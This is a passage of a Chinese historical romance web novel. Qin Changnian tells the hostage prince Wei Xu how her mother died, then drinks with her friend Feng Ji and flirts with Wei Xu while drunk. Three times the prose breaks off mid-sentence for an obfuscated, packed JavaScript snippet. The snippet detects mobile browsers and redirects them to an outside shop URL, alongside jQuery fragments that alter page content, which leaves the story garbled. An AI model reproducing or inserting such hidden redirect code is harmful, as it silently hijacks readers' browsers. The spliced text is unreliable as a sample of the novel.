秦常念觉得,自己仗着隗絮的温柔,对他,有几分强求了。 她定定地用眼神将隗絮的五官描摹了一遍,一用力,将手从隗絮的怀里抽了出来。 隗絮不解,只是觉得秦常念好像忽然就不开心了,以为她是在为和秦远闹不和的事情烦心,又坐得离她近一点,安慰道:“莫要伤心了,秦将军只是因为你不听他的安排,一时气恼,你又偏要逞嘴上的能,和他对着干,他这才下了重手罚你。其实他还是很关心你的,我刚在门外都看见他来了,父女哪有隔夜仇……” 他话还没说完,秦常念的脸上就扬起了无奈的笑容:“你还不知道父亲为什么罚我吧。” 隗絮看着她,没说话。 秦常念指了指门外,隗絮跟着她手所示的方向想外看去,是几个侍从搭了个火盆,在烧秦常念那条红色的衣裙,炊烟袅袅,火焰的温度将周围的一切都烤虚,原本笔直的树干,透过火苗,也显得弯折。 秦常念的呢喃软语将隗絮带回她的过去:“那是新帝登基的次年,局势还不甚平稳,各路残兵败将仍不时作乱,皇上看重我父亲的将领之才,将他任命为江南巡抚,江南三州皆归我父亲管辖。可我父亲上任不久,南边突然出了一大群海寇,我父亲便被紧急调往闽州支援。可他刚一离开,荆州就有人叛乱。” 说到这,秦常念顿了一顿,似乎是在仔细回忆:“我母亲并不如大家传闻所说,是个养在深闺里的小姐,她虽然贵为刑部尚书的女儿,却对带兵打仗之事颇有研究。和我父亲在一起以后,更是精进了武艺、习得了许多兵法。我父亲刚任江南巡抚,江南就出了乱子,此刻又分身乏术,无暇顾及这边。若是皇上怪罪下来,他的仕途之路便是走到头了。我母亲为了保他,便率着军队去荆州平叛。” 隗絮认真地听着,隐隐约约猜到了故事的结局。他静静地看着秦常念,秦常念的头斜靠在枕头上,眼里满怀着思念和不舍。 “叛乱是被平定了,可母亲却再也没回来。等我父亲接到消息连夜赶回荆州的时候,只看见一座残破的城,落石、弓箭乱七八糟地倒在城门口,母亲一袭红衣躺在地上,早就没了呼吸。” 隗絮听了,觉得心头堵得慌。一位这样巾帼不让须眉的崔虞兰,凭一己之力,守住了一座城,护住了万千个家庭,却没有在历史上留下任何痕迹,她有惊人的魄力和本事,同任何一位富家小姐都不同,但在被提及时,却只是“将军夫人”,仿佛她所有的故事都依附于她的丈夫。 甚至乎,现在,她这本应该在史书中被传颂的事迹,只在市井之人的闲言碎语中存在,人们又惯喜欢编排别人、看别人的笑话,最终,崔虞兰的死变成“一个手无缚鸡之力的贵族女子被人杀了”,这样讽刺的寥寥几语。 “也是自那时起,父亲便大受打击,放下所有荣华富贵,自请来漠北戍边。”秦常念继续讲着故事。 秦远的此生挚爱死在了湿热的季节里,至此再不去江南。 那温热和潮湿渗进他的骨髓,像一把利刃,剜开他的皮肉,直捣心脏,让他痛不欲生、悔不当初。 门外的衣服也烧完了,侍从们怕被秦常念看到,赶紧收了火盆。只是空气中漂浮的尘埃无法清除,昭示着刚刚发生的事。 秦常念的故事也讲完了,她深吸一口气,尽量掩盖住颤抖的声线和湿润的眼眸,望着隗絮:“所以我的名字中,常念的不是我,而是我的母亲崔虞兰。” 隗絮满脸心疼地看着秦常念,伸手摸了摸她的脸,替她轻轻擦去泪珠。所有的事情都串成了线,隗絮终于知道秦远不允许秦常念练武、要她安心做她的大小姐、不准穿红衣是为什么。 为了避故人之事,只得行极端之举。 旧事重提,难免惹人伤怀,秦常念忍了又忍,眼泪还是如剪不断的线,晶莹剔透的泪珠不断落下。 隗絮觉得自己的心一顿一顿地痛,顾不得许多,将秦常念拥在怀里,拍着她的背安抚道:“你的母亲崔虞兰是个伟大之人,她心中有山河,行事有大义,神明也不会亏待她的,必定是上天做了神仙,过着无忧无虑的生活。” 隗絮本是不信这些的,可此刻他竟那么诚恳地希望所谓的死后、成仙都是真的,不要再惹得秦常念掉眼泪了。 秦常念在他的怀里,无声无息却哭得更猛烈了,眼泪一串接着一串,怎么也止不住,点了点头。 隗絮抱着她,像哄小孩子似的晃了晃,被她的情绪带的也有些哽咽,摸了摸秦常念的头,说道:“那你也是随你父亲一同从江南搬来漠北的吧,你一定也见过江南的春天了,同你的父母亲一起。” 秦常念仍然埋在隗絮的怀里,用重重的鼻音说道:“我来漠北的时候生了一场大病,发了高烧,几天几夜都不消退,昏迷不醒,最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731736|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后好不容易痊愈,却忘了以前发生过的一切。这些关于我母亲的故事都是我父亲告诉我的,他说,既然老天要让我忘了这一切,也许不想起来反而对我比较好,就让我把自己当作是在漠北出生、长大的平凡女孩,也就是那时,父亲给我改名叫秦常念。” 隗絮紧紧地抱着她,寸心如割,他不知道该如何安慰秦常念。 因为他比谁都清楚,过去的事情无法更改,不以任何人的意志为转移,而这些真真实实发生过的痛苦,就会烙印在活着的人的血液里,一辈子都无法忘怀。 秦常念哭着哭着累了,靠在隗絮的怀里迷迷糊糊地睡了过去。 隗絮察觉到怀里人的动作,一手托住秦常念的头,将她轻轻地放下,盖好被子,便出了房间。 道不同,不能相为谋,隗絮坐在院子里,一边想着,一边把玩着一只白瓷杯,幽深的眼眸尽是苍凉。 秦常念,若是有一天我们站在对立面,我该怎么办。 隗絮回忆着秦远的话,手足无措。“哐当”一声,隗絮不小心失手将白瓷杯落在桌子上,杯子应声裂开,飞溅出的瓷片正好割伤隗絮的嘴角。 隗絮满不在乎地抹了一把,血沾在了他的手指上,他看了一眼,嘴边反勾起一个弧度,自言自语道:“我们俩之间,若是一直受伤的都是我,便好了。” 此事过后,秦远停了秦常念的课,隗絮自然也就卸了老师一职,在府里老老实实地当个闲人。 他这时才发现,将军府邸原来这样大,日日生活在同一屋檐下,也打不上几个照面。即便他刻意把用膳的桌子搬到院子里,美其名曰“赏雪景”,秦常念也总会在远远的地方就拐弯,后来摸清了他的用膳时间,便不在那时候出门了。 他终于忍不住了,某日掐着秦常念出门的时候,一个闪身出现在秦常念的面前。秦常念一见到是他,下意识就想转身逃,隗絮却一把拉住秦常念的手腕:“为何躲我?” “放开!”秦常念吃痛地想把手抽出来,隗絮却握得更紧了。 “你先回答我的问题。”隗絮的眼神幽沉又坚定。 “我跟你是什么关系,你能来管我?”秦常念不甘示弱,挣脱不成,就用眼睛反瞪回去,语气是十分的霸气,毕竟也是将军府的大小姐。 她已经打定了主意要和他划清界限,喜欢这种事情,最是不能强求的。 既然他不喜欢自己,自己却动了心,那便要离他远一点,不能伤了自己的心。自保是秦常念最大的处事哲学。 隗絮的目光沉了下去,手也慢慢地松开,心里想着:是啊,我们两个本就代表不同的利益,现下自己连老师都不是了,一个质子,怎能去多事大小姐。 秦常念见他松开了自己,甩了甩手腕,一把推开隗絮,头也不回地走了。只留下隗絮一个人,被推的往后一靠,倚在墙边,不舍地望着秦常念的背影。 15. 知错 秦常念的关系和隗絮就这么僵在了这,倒是像真的大小姐和质子一般,仿佛他们之间什么都没发生过。 两人的关系彻底和之前上下颠倒,秦常念倒也不故意避着隗絮了,若是在院里正好碰见,隗絮会规规矩矩地行礼,弯下身子,毕恭毕敬地说道:“大小姐好。” 秦常念便是一副无所谓的跋扈态度,抬着眼皮,微点一下头就算是打招呼。 虽然隗絮仍然每天亲自去厨房替她煮药,用碗装好,吹凉到合适的温度,却总是只送到她房间门口,交给子秋,还要嘱咐道不准说是他送来的。 虽然秦常念每天都躲在柱子后面看隗絮练剑,透过房间窗户的缝隙看见隗絮在院中用餐,便命人把饭菜端上来,两人隔着窗户用饭,一个屋里,一个屋外。她早就摸清了隗絮每日的日常,却总是在隗絮转过头来的时候,面无表情地将视线移开。 大小姐和隗公子好像忽然变成仇人了,难道隗公子也终于受不了她了? 这是子秋发自肺腑的疑问。 这日府上来了位客人,身着盔甲却眉清目秀,束发持刀,目测约莫不过结发之年。 此等被隗絮以貌取人,划分为“吃软饭的小白脸”长相的少年,却让秦常念一大早就兴奋了起来,亲自拟了菜单,吩咐厨房做了一大堆佳肴和点心,还特意命子秋搬出了一张桌子。 “对对对,就放这,这儿的风景最好了。”秦常念一边啃着一块白云糕,吃得满嘴是屑,一边兴高采烈地指挥道。又在装点好的桌子旁转来转去,各种感受,脆生生地吩咐,“再去拿两个软垫、两件狐裘来。” “哟,大小姐今日好兴致啊,竟要在院内赏雪。怎么,这风景从小便看,还没看腻啊?”倚在门旁嗑瓜子的隗絮终于忍不住了,走上前来,故意呛秦常念。 秦常念今日心情甚好,不愿意和隗絮计较,白了他一眼,挥挥手让他走开,一边收拾软垫,一边说道:“今日冯吉来了,我们已经月余未见,他又打了胜仗,我自是要与他一同赏景喝茶,谈天说地,聊个彻夜!” “冯吉。”隗絮重复了一遍这个陌生的名字,显出几分不快来,似是要用嘴把他的名字嚼碎了咽下去,让世上再无这个人。 “听说这个冯吉啊,和大小姐是旧相识了,长得那是一表人才、风流倜傥,关键是带兵打仗也是回回凯旋而归,和大小姐那可是青梅竹马、两小无猜、天造地设……”剪书在一旁手舞足蹈、滔滔不绝,那操心得像月老似的,忙着疏离给秦常念的红线。 他话还没说完,就觉得一阵寒意袭来。转过头去,发现隗絮眼神冰冷地盯着他,有一股压不住的怒气。 “不是,我说大小姐的事情,公子你生什么气?”剪书有些摸不着头脑。 “闭嘴!”隗絮狠狠地瞪了他一眼,命令道,又嘀咕了一句,“漠北哪来的青梅,还青梅竹马,这里也长不出竹子!月余未见,是什么很久的事情吗!” 剪书做了个给嘴拉上拉链的动作,不敢再多说。 隗絮看着秦常念忙忙碌碌的,心里更是觉得不爽,索性走过去,一把夺过秦常念手上的枕头。 “你干什么啊,净会添乱。”秦常念不满地撇了撇嘴,用眼神把隗絮上上下下骂了个遍。 “这大冬天的,你自己壮如牦牛很抗冻也就算了,干嘛拉着人家冯吉在这挨冻,人家可不像你,一会冻感冒了,怎么跟人家冯公子的家里人交代。”隗絮欠欠地说道,手里还比划着一大一小两个人。 “我壮如牦牛?”秦常念觉得他摆明了是在挑衅自己,自己长到这么大还没受过这种羞辱呢,气极反笑,用鄙夷的目光上上下下打量了隗絮一遍:“哼,隗公子大可不必担心,人家冯公子那可是身高八尺、顶天立地的男子汉,不会这么轻易就惹了风寒的。不要用你自己那破破烂烂、骨瘦如柴的身子,来担心别人!” “骨瘦如柴?我?”隗絮反观自己,虽不说长得多么风神轩举,但也算是仪表堂堂。 在江南的时候,是颇有盛名的小公子,多少家的小姑娘围在路边,就为了看他打马而过的一瞬间;在北凉的时候,每年公开狩猎,多少赤狄女子提着野猪羚羊就上门来提亲,指名道姓要他。 她们又不了解隗絮,匆匆就说喜欢,只能是馋他的身子。 可现在到秦常念嘴里,这副皮囊竟被称作破破烂烂? 你这么说,女娲娘娘第一个不同意,说你亵渎了她的作品! 隗絮越想越气,愤愤不平,那冯吉就千好万好,值得她百般维护,还在这设宴款待,自己就是破破烂烂,一文不值,这什么道理! 我偏不! 隗絮是个倔的,所以待秦常念和隗絮面对面坐下的时候,他就像根棍子一样杵在旁边,眼睛直勾勾地盯着秦常念。 秦常念被盯得有些不自在,但在冯吉面前也不好发作,只能把隗絮当作空气,故意不看身侧,替冯吉和自己各斟了一杯酒,举杯相邀道:“我边上这根木头叫隗絮,不过他不怎么重要,不必管他。我们许久未见,今日不醉不归!” 冯吉刚想把酒杯举起来,隗絮就一把夺过了秦常念的酒杯,冷冷道:“秦大将军不许你饮酒。” “哎呀,你放心,冯吉不是外人,我回回都和他一起饮,他不会出卖我的。”秦常念满不在乎地摆摆手,又要将酒杯拿回来。 “回回都一起,呵,你对冯公子倒是颇为信任。”隗絮将酒杯举得更高一点,借着身高的优势,任凭秦常念像个树懒一样扒拉他的手也拿不到。 “我和冯吉打小就认识,彼此知根知底,我不信任他,难道信任你?你今天怎么回事!我招你惹你了,你处处找茬!”秦常念见隗絮的态度很坚决,完全没有松动,收了手,气呼呼地坐下,决定不再理他,臭着脸扔下一句“随你!” 秦常念真的恼了,隗絮反而有些不知所措。他试探性地将酒杯放低一点,移到秦常念的手边,秦常念的余光瞟到,反而故意坐远了一些,很刻意地将头别过去。隗絮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13736979|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端着那杯刚刚还处在争夺中心,此刻就瞬间失宠的酒,仿佛自己也跟着酒失宠了一般,彷徨地站在一旁。 秦常念说,她不信任我。 隗絮的脸色变得低沉了许多,他忽然觉得心气不顺,哪哪都不高兴。但这种埋怨更多是对自己的。 她不信任我怎么能赖她呢,都是我,身为一个质子,来府里不足半年,没能帮上她什么忙,还处处与她作对,她要如何信任我。 冯吉边喝酒,眼睛边滴溜滴溜地转,偷看两个人的表情。旁观者最是看得清,在他看来,他们两个不过是一个反着闹,一个顺着宠罢了。 冯吉看见秦常念也偷偷瞟隗絮,不禁笑了,想起来刚刚在前厅和秦远的对话。 “常念大了,现在我管不住了。”秦远喝了一口茶,满脸惆怅。 冯吉的父亲冯显山和秦远是同乡故交,冯吉虽然家境贫寒,但一直以来都想闯出一番名堂,光宗耀祖,于是他自十一岁便跟着秦远习武。他天资卓越、勤奋刻苦,而今不过九年光景,已然从那个追着秦远后面跑的小家伙,成长为镇北将军的副将。 他自是了解秦远的固执,怕是父女俩已经针锋相对过,秦常念也受了重罚。他宽慰道:“秦大将军也不必如此忧心,常言道儿孙自有儿孙福,未来的路,也许可以交给常念自己闯。” “你也觉得是我过于沉湎于过去,现在应该放手了吗?”秦远的眼神变得很遥远。 冯吉现在知道,为什么秦远要说“也”,恐怕已经有人先他一步,替秦常念求过情了吧。 “你最近都还好吧?没受伤吧?”秦常念不理隗絮,愤愤地往嘴里塞了两块肉。转过头和颜悦色地问冯吉。 “没有,我一切都好,在军营里都习惯了,和弟兄们日日在一起,倒也自在。”冯吉笑着摇了摇头,又看向旁边被一团阴影盖住的隗絮,故意凑近了秦常念一点,用手挡住嘴,小声调侃道:“你这样关心我,怕是有人要吃味了吧。” 边上的隗絮听不仔细,也不动声色地伸了脖子往前凑。 不过这个不动声色是自以为的。 “有人吃味?”秦常念故意大声地回复道,环顾了一下周围,又怕有人听不见似的更大声地说道,“哪里有人?我只看见一只脖子都快要拧断的麒麟!” 隗絮原本在旁边凑着耳朵听,这一下,也站直了。 冯吉笑得更大声了,用手指凭空点了点秦常念:“想不到现在还有人能惹得你如此生气,不过隗公子在府里同你打闹,日子倒也有趣些。” “有趣个屁!我真的不想理他,管得那么宽,比我爹还烦人!”秦常念狠狠地用筷子戳在枣泥糕里,枣泥糕瞬间解体,尸横遍野。 隗絮总觉得秦常念在杀鸡儆猴,自己其实就是她碗里的那块枣泥糕,不紧打了个冷颤。他将酒放在火上重新温过,放到秦常念的手上:“对不起,是我又惹得大小姐不快了,隗某知错了,大小姐喝了这杯酒,就当原谅隗某了,好不好?” 16. 我的 在隗絮低声的耳语里,秦常念夹菜的手一抖。 他这问题问得好生高明,若是直街说“就当原谅我了”,以秦常念不饶人的性子,定是会回一个“凭什么,我偏不当”。 可是隗絮偏偏要在最后加上一个柔情似水的“好不好”,将主动权交到你手上,再用小鹿一般清澈的眼神盯着你,眼尾微红,大有一副任君采撷的模样。 当真是美色误人啊,秦常念在心里默默感叹道。对着这一张脸,你还就偏偏说不出来“不好”二字,秦常念总有一种惹得他哭了,罪过就大了的感觉。 但人性本恶,秦常念又控制不住去想象,若是他哭了,会怎样,是会垂泪欲滴地求你放过,还是咬牙含泪不言不语。 “当真让人好奇。”秦常念一不小心将心里话说了出来。 “好奇什么?”冯吉夹了一筷子菜放到碗里。 秦常念蓦然回神,有些慌乱,她忙从隗絮手上拿起酒杯。隗絮却没有急着松手,反而是将手往上移了一点,覆在秦常念的手上。 秦常念吓了一跳,慌不择路地想把手抽出来,隗絮却摁住她的手:“大小姐端稳了,当心把杯子摔了,伤着自己。”然后慢慢地把手收回。速度慢到秦常念能清楚地感觉到他的指腹划过自己的虎口,她一抖,有种触电一般的感觉。 “既然隗公子同意了,那常念,我们走一个!”冯吉今天晚上看的热闹可太多了,他笑得合不拢嘴地拿起酒杯。 “干杯!”秦常念也很爽快地和他碰了杯。 两人把酒言欢,秦常念兴致勃勃地和他分享将军府里的趣事,冯吉绘声绘色地给她讲军营里的见闻,酒是一杯接着一杯下肚。 隗絮好几次想劝秦常念少喝点,却惊觉自己总是在以己之心度人。秦常念有资格做自己,任何人的建议都只能是建议,她永远保有为自己做选择的权利。 她和冯吉聊得那么开心,看着秦常念笑得直拍大腿,隗絮觉得自己没有资格劝她。 这是她的人生,是属于她的快乐。 酒过三巡,两人都有些醉了,冯吉开始口齿不清地回忆往昔:“秦将军一向管你管得严,小时候你就总爱缠着我,逼我带你做些秦将军不让你做的事,次次我来将军府,不是偷偷带你溜出去玩,就是给你买些稀奇玩意,满足你过剩的好奇心。后来你长大了,就开始缠着我陪你喝酒了。” 秦常念用手撑着头,醉眼迷离:“什么叫逼,你明明也很喜欢玩好吧。” “嘿你这小家伙,这么不识好歹,我看除了我,谁敢陪你喝酒!”冯吉用杯子敲了几下桌面,极力邀功。 “谁说没有?”秦常念的第一反应就是看向身侧的隗絮。隗絮仍然站得笔挺,即便已经快两个时辰了,也丝毫看不出倦怠之意。秦常念往旁边挪了挪,拍了拍自己身下的软垫,“站了这么久,你怎么也不吱个声,快来坐。” 隗絮有些犹豫,自己不能仗着秦常念喝醉了就占她便宜,此非君子之举。 秦常念看不下去他的磨磨蹭蹭,放下酒杯,拉住他的手用力一拽。隗絮一时没有准备,被拉得坐在她旁边。 隗絮今日是真的坐如松,一下也不敢乱动,就那么僵硬得像根刚被挖出来的冬虫夏草。 秦常念倒是没太注意这边的大补草药,举了杯:“来!咱们继续!” 冯吉也将杯中的酒一饮而尽,看着眼前的贴在一起、近的距离为负的两人,不禁感慨道:“这世上还真是一物降一物啊,你这么生人勿近的大小姐,也有被人吃住的一天?” 秦常念不满地皱了皱眉,激动地用手拍了一下大腿:“什么叫我被人吃住?这不公平,本小姐要做降别人的那一个,才不要被人降住呢!” 我大概是醉了,秦常念想,居然拍自己的大腿都没感觉了。忽略了边上隗絮吃痛地按住自己的大腿,一脸无奈地看着秦常念发懵的侧脸,摇了摇头。 冯吉替她又倒了杯酒,冲着隗絮怒了怒嘴:“感情的机制就是这样,相互制衡的,你瞧,你这不就降住了眼前的这只麒麟吗?”说罢,又将酒杯里的酒一饮而尽,醉倒在桌上。 “降住?”秦常念忽然正色,转过身去,和隗絮面对着面。她摇摇晃晃的,稳不住身体,隗絮只得一手扶住她的腰,防止她忽然栽倒过去,她看起来很有酒后发疯的潜质。 秦常念用手指着隗絮的脸,帮助自己聚焦,然后忽然双手捧住隗絮的脸。 完了,这下她真的醉了,全完了。隗絮紧张得倒抽一口凉气,不敢动作,只有呼吸慢慢变得沉重,耳根慢慢变红。 “你是不是想降我?”秦常念身子向前倾,堪堪停在隗絮的面前。 “……隗某……怎么敢。”隗絮一颗心都提到了嗓子眼,谁知道秦常念这种不按常理出牌的醉鬼,接下来还能做出什么行为! 秦常念左右掰了一下他的脸,满意地点了点头,然后单手食指挑起他的下巴,上扬的语气昭示着说话者愉悦的心情:“嗯,那就好。告诉你一个不算秘密的秘密吧,本小姐本事不多,脾气却也不小,这镇北将军府里的一草一木,都是按本大小姐的心思栽的,一只飞雀,只要本小姐想要,就可以命人抓来。你明白吗?” 她这是什么意思,难道今天要在这里杀了我?隗絮心里很乱,一时间不知道该做何反应。 “我问你明不明白的时候,你应该点头。”秦常念可没有耐心等那么久,她捏了捏隗絮的下巴,提醒道。 隗絮呆滞地点了点头。 很奇怪,他本不是一个容易动摇、易被威胁的人,更不是一个会轻易听从别人命令的人。就算刀架在他脖子上,也能不慌不忙谈个条件,谋个出路。 但在秦常念软软的手指和带着春雪花气息的问话里,他居然连挣扎都不想挣扎,就缴械投降了。 隗絮只觉得自己的脑底晕晕乎乎的,是谁给自己下了法术吗,明明饮酒的是秦常念,醉的却是自己。 “你确定你听明白了吗?”秦常念带着八分醉意又问了一遍。 “听明白了。”隗絮沉沉地回答道,他此刻甚至不想去弄清楚她到底想要怎样,只想一味地顺着她,她开心就好,能怎样,大不了,把这条命给她。 “我的意思是,整个将军府都是本小姐的,包括你,隗公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742261|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。”秦常念不疾不徐地发了话,她又捏了捏隗絮的耳垂,俯身在他的耳边用气声说道,“你也是属于我的。” 隗絮怔在原地,似乎连心跳都停止了。 这句话就像是一柄用云做的软剑,轻易就刺穿了隗絮自称刀枪不入的心。 扑通、扑通,心脏以更大的声音和更快的频率来证明它仍然在兢兢业业地工作着。隗絮只觉得头晕目眩、大脑缺氧,他一手抚上胸口,感觉心脏已经失去控制,似乎要凭着蓬勃的蛮力跳出来。 秦常念看着隗絮通红的脸,笑了一下:“怕什么,我又不吃人。”然后便醉得向前倒去。隗絮赶忙上去接,秦常念正好躺在他的胸脯,耳朵贴在那为她而跳动的心脏上。 美人在怀,隗絮却怔在原地,不知道该怎么办。直到一阵寒风吹来,秦常念被冻得打了个寒战,往隗絮怀里躲了躲,隗絮方才如梦初醒,把秦常念打横抱起来带回房间。 隗絮将她轻轻放在榻上,让她倚着自己,细心地帮她脱去外衣和鞋袜,又命下人取来温水和毛巾,小心翼翼地替她擦过脸和手。 就在一切都整理完毕,隗絮准备将她整个人都卷进被子里的时候,秦常念嗖地睁开了眼睛,眨巴眨巴地盯着隗絮看。 她满脸的清明,隗絮心里一惊,她该不会就已经醒酒了吧,怎么办,该说些什么。 还没等他想好,秦常念已经拉住他的手,放在自己的脸上蹭:“好暖和啊……” 隗絮顺着她的意思,又摸摸她的脸,拍拍她的背哄道:“好啦,该睡觉了。你看那窗外的小麻雀都睡了,就你还不睡。” 秦常念闻言,瞪大了眼睛,哈哈大笑:“哈哈哈哈哈你是傻的吧,漠北的冬季哪里来的麻雀。” “你倒是清醒,是不是在装醉啊?”隗絮轻轻点了一下秦常念的额头,佯装怪罪道。 下一秒,秦常念就推开隗絮的手,从床上弹起来,跑到窗边,对着窗外一边挥手,一边大喊:“麻雀!快点给本小姐起来!我们一起来玩啊!” 窗外自然是静悄悄的一片,没有声响,更没有麻雀的回应。 秦常念大概是认为隔着窗户麻雀听不到她说话,气恼地抬起手要把窗户打开,被隗絮一把抓住:“凉。” 秦常念嘴巴都气得鼓了起来,对着窗外大骂:“好啊你们麻雀!有本事在我家筑巢,没本事出来见我!明日我就着人把你们都抓来炖汤喝,一个逃不掉!” 已经在南方收拾好越冬的麻雀的远房亲戚燕子,听到秦常念那力拔山兮的咒骂,都吓得打了个喷嚏。 隗絮眼眸一弯,在一旁抱着手臂,静静地看秦常念耍酒疯。他余光一瞟,看见秦常念光着的脚丫,皱了皱眉,把她揽腰抱起,就要带回床上。 “你干嘛啊!我还没看见那些鸟呢,他们今日敢不听本大小姐的命令,明日就敢造反!”秦常念忿恨地挣扎着,嘴里振振有词。 隗絮将她放到床下坐下,见她又要跑到窗边,一把摁住她的肩膀,单膝跪在床边:“我的大小姐,不如今日别折磨那些鸟了,看在下可好,在下保证谨遵大小姐命令,决不背叛、绝不造次。” 17. 偷听 秦常念往前凑了凑身子,很认真地盯着隗絮看了几秒钟:“看你,那确实是不错的。公子生了一副好皮囊,倒是看着就令人赏心悦目。” “切,你不不久之前还嫌弃说我这是破破烂烂的身子骨吗,女人心,真是善变。”隗絮小声诋毁一句。 “你说什么?”秦常念只依稀听到蚊子一般的叫声,没听真切。 “没什么,该睡了吧。”隗絮再次给她盖好被子,轻声细语地哄道。这下应该不会再闹了吧。 秦常念掀开被子,往旁边滚了一圈,拍了拍床:“快来吧。” “啊?”这已经数不清是隗絮今天晚上大跌眼镜的第几次了。 “你自己说的,要我别再去弄那些鸟雀,只看着你,还说你会听我的话,现在这么快就要反悔?怎么连你也欺负我!隗絮!”秦常念醉酒以后情绪起伏很大,刚才还好好的,说着说着眼眶就红了,一撇嘴,指着隗絮说道。 这下可好,惹得大小姐要掉金豆豆了。隗絮赶忙躺上床来,嘴里还着急地安抚道:“好好好,我躺,我躺,已经躺好了,没有不听你的话。” 秦常念又往回转了半圈,正好搂住隗絮的腰,一手贴在隗絮的胸膛,满足地咂了咂嘴:“好暖和啊,简直是恒温手炉。” 隗?恒温手炉?絮只能由她贴着,尽职尽责地给大小姐暖被窝。 “冯吉送回去了吗?”一暖和,秦常念就迷迷糊糊的,在睡梦里仍然想起来府中的客人,强撑着睁开眼睛。 “大小姐放心吧。”隗絮看着她,笑着点了点头。等到秦常念睡去以后,隗絮压低了声音喊道,“子秋!子秋!” 子秋立刻从外面推门而入,看到隗絮和秦常念同床共枕,猛地低下了头:“非礼勿视,属下告退。”说罢,就要飞快地退出去。 “等一下!等一下!”隗絮一手被秦常念枕着,不敢乱动,另一只手拼命打着手势。 子秋原是只听命于秦常念的,现下一想,万一生米都煮成熟饭了,隗絮可就是未来镇北将军府的大姑爷了,这点眼力见他还是有的。赶忙停下脚步,规规矩矩地行了个礼:“大姑……隗公子有何吩咐。” “把冯吉带到客房去,再把房中弄得暖些,别让冯公子受了风寒。” “是,可还有其他吩咐?” “没了没了。”隗絮飞快地摆了摆手,示意他赶紧出去。秦常念恰好在这时翻了个身,隗絮赶忙把手放回去,一动不动,生怕弄醒了她。 秦常念饮了酒,反而会醒得早些。第二日天刚亮,秦常念就睁开了眼睛,就看到隗絮安静的睡颜。 “啊!”秦常念吓得大叫一声,猛地从床上坐了起来。 隗絮被她的叫声吵醒,看见秦常念惊慌失措的眼神,也赶紧起身:“不是,大小姐,昨夜是……” “嘘,不许说!”秦常念着急地用食指贴上隗絮的嘴。她扫视了一下两人的有些凌乱的衣服,心里默默盘算了一下,坐直了,一副很有气势的样子,“我知道,昨夜我们两人都喝醉了。” 这话一出,又吓得隗絮一身冷汗,他把秦常念的手移开,往前坐了点:“不是,我没……我们真的什么都没……” 还没等他说完,秦常念又堵住他的嘴:“嘘,听我说完。”然后语速快得像被十万精兵在身后追一样,“既是都喝醉了,也没什么好计较的。本来在府里相处了这么久,我们的关系也算得上是亲近,这一点不算什么。对,不算什么。” 说完,秦常念就掀开被子,一把把隗絮推下床去:“等会被别人看到了不好解释,你赶快回房间吧。” 隗絮从床上摔下来,连衣服都来不及整理好,秦常念就把他的外袍一股脑塞到他手里,然后把他推出了门。 梨花木门在隗絮的鼻子前“砰”得一声关上,隗絮低下头,无奈地笑了笑。 “隗兄,昨看来还真是被我们大小姐拿捏得死死的啊。”冯吉不知道从哪里冒出来,拍了一下隗絮的肩头,把他吓了一跳。 隗絮怂了怂肩膀,把他的手拿下去:“谁跟你称兄道弟了。” 见他如此冷淡,冯吉也不恼,又绕到隗絮的身旁,打趣道:“我们常念一直以来把我当成亲哥哥,凭她对你的态度,我想,不管隗兄愿不愿意,我们很快就要称兄道弟了。” “什么就你们常念。”隗絮瞟了他一眼,他看冯吉就是怎么看怎么不顺眼,快步离开,又忽然想起了什么,转身嘱咐道,“你别说你看见我从阿念房间里出来了,她不想被人知道。” 隗絮衣袖一挥,转身离开,嘴角一勾,不就是喊小名吗,谁不会啊。 冯吉失笑,往秦常念紧闭的门看了一眼,抬手敲了门:“常念,起来了就一块来用膳吧,秦将军在等我们了。” “噢,好,我知道了!即刻就来!”屋内一阵乱响,传来秦常念着急的脚步声。 “不着急,室外寒冷,记得穿好外袄,我去前厅等你。”冯吉嘱咐了一句,便先行离开了。 秦常念穿戴好,急急忙忙地往前厅跑。雪融化在台阶上很湿滑,她光顾着提着裙摆,不要被泥泞弄脏,一不留神,脚下一滑,往前溜去,竟离面前的柱子只有分毫之差。 秦常念还来不及反应,条件反射一般地闭上了眼睛,却没有如预想一般撞到硬挺的柱子,而是撞到了一只温暖的大手上。 秦常念有些意外地抬起头睁开眼睛,就看见隗絮将自己的手抽回来甩了甩,秦常念这一下撞得不轻,隗絮掌心垫着她,手背已经被撞红了。 秦常念刚想道谢,隗絮就把着她的肩膀转了个方向,弯下身子,把头虚垫在她的肩膀旁:“仔细看路。” 秦常念点点头,想说些什么,将头侧过来,却和隗絮的脸碰了个正着。那一张俊秀立体的脸近在咫尺,你很难心如止水。 秦常念的脸嗖地一下变得通红,完全忘了自己要说什么,结结巴巴半天说不出个所以然。 